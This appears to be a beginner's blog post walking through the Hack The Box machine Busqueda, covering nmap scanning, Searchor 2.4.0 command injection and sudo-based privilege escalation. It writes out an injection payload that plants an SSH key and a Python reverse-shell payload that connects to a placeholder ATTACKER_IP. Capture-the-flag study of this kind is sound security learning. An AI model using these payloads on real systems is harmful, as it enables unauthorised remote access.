Hacking Journey | Post 4

A show of my thoughts in Busqueda.

So – I should say that I’m using a walkthrough: https://ratil.life/hack-the-box-busqueda/ for this hack the box. It’s written really well so that the reader needs to know a little bit about what to do in order to successfully get the flags.

Anyways – Started with NMAP

nmap 10.10.11.208 -sV -T4

And I got this:

So that means I have 3 ports that I need to explore:
an SSH port, an HTTP port, and an interesting 8083 port.
Anyways, a little web testing. I visited the website first. Any it’s shown at the bottom to make it easier to see I think:

After a quick search of something like Searchor 2.4.0 CVE POC – you can get this:

https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection

This explains that searchor 2.4 is vulnerable to command injection. Python command injection to be precise.

So theoretically – we can run a reverse shell with this. However, since I’m just looking for a user flag… and also I don’t really know how to run a reverse shell yet – I did this:

And luckily that lead me to the correct page.

The walkthrough suggests adding an authorized key into the .authorized_keys file, which in honesty might be good? I don’t know, I feel like it adds a pretty big footprint (yes a big boy word). But basically, when you set up an SSH server, you can specify how to access the SSH server. It’s best practice to not use passwords in the SSH. We can use ssh keys, and it can be implemented in many ways. But essentially – you can “inject” if that’s the right word your own key in order to be on the list. The author probably did something like this:

test' +__import__('os')system('touch ~/.ssh/authorized_keys && echo $HackerPublicSSHKey > ~/.ssh/authorized_keys'))#

Basically, in default configurations, SSH will allow authorized keys, usually stored in the ~/.ssh/authorized _keys file. Sometimes this will bypass the password. The touch command basically makes a file if it’s not there. If there is an existing file, then it doesn’t do anything. The && key means AND.

Anyways – I got the flag, not too difficult once you know how to inject the code, and a little bit of Linux-foo.

Next I need to do some privilege escalation which I have no idea what to do. So I’ll follow the author’s advice here.

So it looks like he enumerated the user profile to find anything interesting. So I’m pretty sure he’s SSHing into the svc user regularly, but I’m going to try and reverse shell using python injection, because I don’t know how to do that – and it seems like it’d be harder to see, forensically speaking at least.

So looking through the github POC – the code is a pretty simple bash code. Specifically here:

This is where the juicy stuff is. And we can do all of that by hand in the “search” bar of the target’s website.

Ok disregard what I said. For some reason I couldn’t inject the code through using a Python/shell code. Instead I used a native Python reverse shell technique which I got from here:

https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-

I used this command:

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

And it worked like a charm.

I can break down what’s going on a little bit. So the exec initiates the script. First it imports the os, socket and subprocess modules. Then uses it to forward a “/bin/sh (which is a shell)” process to the attacker’s IP address and given a port.

Anyways – now that’s taken care of. It takes me to /var/www/app – which is the root directory of the webpage (meaning, when someone requests a 80/443 from a server, it will send this directory, generally /root/directory/index.html or something like that.

We can use ls -al or ls -hal which shows all files, even hidden files. Then we can see a .git file when we do that.

The author finds a gitea git url, but I don’t know how to access it. He/she doesn’t really explain how he opens it.

Whatever – I try the command git log and I get an error:

fatal: detected dubious ownership in repository at ‘/var/www/app’
To add an exception for this directory, call:

git config --global --add safe.directory /var/www/app

So after I try this: git config --global add safe.directory '*' I’m able to to use git log. And I get this:

commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4
Author: administrator administrator@gitea.searcher.htb
Date: Sun Dec 25 12:14:21 2022 +0000

For some reason I can’t access any of it. So I’m going to cheat… whatever, slap my wrists. I’m frustrated. I already learned a lot.

Oh wait I just realized. Since, I’m only specifying the searcher.htb on my /etc/hosts, then I need to specify the gitea.searcher.htb as the same IP address so that my computer knows where to go when I look up the domain name. Jeez – I’m an idiot.

I don’t need to cheat – I guess I already am, but not as much.

Anyways, I looked through the git and I didn’t really find anything – ha!

But on the writeup – it says that he looked up what kind of sudo commands the user can use. I figured I should look up how to do that. So I did this command: sudo -lU svc -S and then used cody’s password when it came to the git credentials (so I guess it did work out!) and it came up with this:

But this is the most interesting note:

I can run this python script from /opt/scripts/system-checkup.py *

Ok – I cheated, basically the author states that the program runs off the local directory.

So I can create a file with touch. Like touch full-checkup.sh (make sure to make it executable with chmod +x filename.sh)

Then I did this:

Bam – I can legitimately do anything now. Like this:

I love the find command, it makes my life easier. Half the time I don’t know where I place my stuff. So I just use the find command.

Now for the “nefarious” payload. And voila, I got the key.